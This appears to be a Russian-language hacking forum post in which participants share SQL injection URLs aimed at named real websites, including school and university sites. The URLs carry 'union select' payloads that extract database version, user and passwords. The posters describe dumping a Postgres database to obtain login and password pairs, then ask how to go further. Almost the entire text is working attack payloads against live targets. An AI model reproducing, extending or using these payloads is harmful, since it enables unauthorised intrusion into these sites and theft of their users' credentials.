Separate names with a comma.
http://www.shkola.spb.ru/server_news/index.phtml?id=-736+union+select+1,2,3,4,5,6,7,8,9,10,version(),user(),database(),14,15,16,17,18/*
http://www.dressout.ru/novosty/?n=-10%20union%20select%201,2,3,4,5,6/*&subaction=detail Вывод ошибок отключен, дальше не получается че то...
http://www.c-ib.ru/content.php?txt=-7%20union%20select%201,2,version(),user()/*
http://www.pollit.ru/?post=-1'
http://www.it-rex.ru/ftpgetfile.php?id=69' Как раскрутить - не знаю... http://www.it-rex.ru/ftpgetfile.php?id=69' union select null,pass from...
При помощи фака раздирбанил постгресс и узнал логины:пассы... Вот только их там дохрена и самые вероятные на админку не подходят((((((
http://www.spmi.ru/index.php?id=6&t=show_news&nid=1'%20UNION%20SELECT%20null,user,null%20WHERE%201=1-- Че дальше можно наворотить?
http://www.spmi.ru/index.php?t=skeleton'&id=3&lang=1 там же